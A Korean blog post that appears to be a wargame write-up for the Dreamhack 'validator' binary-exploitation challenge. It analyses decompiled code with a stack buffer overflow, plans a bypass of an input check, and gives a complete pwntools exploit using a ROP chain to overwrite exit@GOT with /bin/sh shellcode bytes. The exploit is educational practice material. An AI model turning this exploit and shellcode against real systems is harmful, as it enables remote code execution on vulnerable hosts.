보안/Wargame

[System Hacking] validator

kykyky 2025. 3. 17. 11:43

소스코드 분석 & 보호기법 확인

__int64 __fastcall main(int a1, char **a2, char **a3)
{
char s[128]; // [rsp+0h] [rbp-80h] BYREF
memset(s, 0, 0x10uLL);
read(0, s, 0x400uLL);
sub_400580((__int64)s, 0x80uLL);
return 0LL;
}

buffer에 사용자의 입력을 받고,
이것이 sub_400580()를 통과하면 프로그램은 정상 종료된다.

__int64 __fastcall sub_400580(__int64 a1, unsigned __int64 a2)
{
unsigned int i; // [rsp+1Ch] [rbp-4h]
int j; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i <= 9; ++i )
{
if ( *(_BYTE *)((int)i + a1) != aDreamhack[i] )
exit(0);
}
for ( j = 11; a2 > j; ++j )
{
if ( *(char *)(j + a1) != *(char *)(j + 1LL + a1) + 1 )
exit(0);
}
return 0LL;
}

buffer overflow와 RAO, shellcode가 가능해 보인다.

Exploit 계획

main 함수의 Return address를 조작하여 shellcode가 실행되도록 하기

 

1. sub_400580()를 통과해야 함 

sub_400580 함수를 분석해보자.

 

1-1. 입력 string의 0~9번째 글자가 aDreamhack array의 0~9번째와 같음 <====> 통과

DREAMHACK!이어야 함

 

1-2. 입력 string의 11~128번째 글자는, 현재 글자 byte == 다음 글자 byte + 1 <====> 통과

 

2. shellcode를 넣을 만한 위치를 찾아야 함  

매 실행마다 shellcode가 있는 위치를 확실히 실행할 수 있어야 한다.

 

=> 만약 매 실행마다 공격자가 실행시킬 수 있는 GOT 함수 위치에 shellcode를 삽입하면, 

매 실행마다 안정적으로 shellcode가 실행될 수 있다.

 

=> 따라서 shellcode를 GOT에 overwrite할 것이며, 그중 아래 symbol 탐색 결과에 따라 exit 함수를 선택하였다.

 

3. shellcode를 실제로 넣고, 이 주소로 실행흐름을 조작해야 함 

만약 바이너리 측에서 read(0, exit@got, shellcode_length)가 실행될 수만 있다면,

공격자 입력이 GOT의 exit 함수 위치에 overwrite 되므로,

그 이후 exit@got이 실행되면 실제로는 shellcode가 실행된다.

=> 이는 ROP로써 가능하다!

 

3-1. ROP Gadget을 넣을 위치를 찾자

입력 받는 buffer ~ Return Address 위치는, 아래 disass 결과에 따르면 buffer는 rbp-0x80 위치이므로,
(rbp + 0x8) - (rbp - 0x80) = 0x88바이트이므로,

buf 주소 + 0x88 위치에 ROP 가젯을 넣자.

 

이때 1.에 필요한 payload 길이가 129바이트이므로,

dummy는 (0x88 - 129)바이트이면 된다.

 

3-2. 실제 가젯이 있는지 보자.

필요한 Gadget들(pop rdi; ret, pop rsi;ret, pop rdx; ret)이 있다.

 

Exploit 결과

from pwn import *
p = remote('host1.dreamhack.games', 20512)
e = ELF('./validator_server')
#
shellcode = b'\x48\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x50\x48\x31\xc0\xb0\x3b\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05'
#
def generate_sub_400580_bytes():
bytes0_9 = "DREAMHACK!"
bytes11_128 = ''.join(chr(127 - i) for i in range(118))
final_string = bytes0_9 + " " + bytes11_128
final_bytes = final_string.encode()
return final_bytes
payload = generate_sub_400580_bytes()
# RA까지 채우기 위한 dummy
payload += b'A' * (0x88 - 129)
# ROP Gadget 구성: RDI, RSI, RDX
pop_rdi_ret = 0x00000000004006f3
pop_rsi_pop_r15_ret = 0x00000000004006f1
exit_got = e.got['exit']
pop_rdx_ret = 0x000000000040057b
read_plt = e.plt['read']
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_pop_r15_ret) + p64(exit_got) + p64(0)
payload += p64(pop_rdx_ret) + p64(len(shellcode))
payload += p64(read_plt)
payload += p64(exit_got)
#
p.send(payload) # => 피해자는 read(0, exit@got, shellcode_length)을 호출하고 공격자 입력을 기다림
p.send(shellcode) # => 위 read()의 입력으로 전달됨
p.interactive()

 

'보안 > Wargame' 카테고리의 다른 글

[System Hacking] cmd_center  (0) 2025.03.13
[System Hacking] sint  (0) 2025.03.13
[System Hacking] tcache_dup2  (0) 2025.03.10
[System Hacking] tcache_dup  (0) 2025.03.07
[System Hacking] Tcache Poisoning  (0) 2025.02.13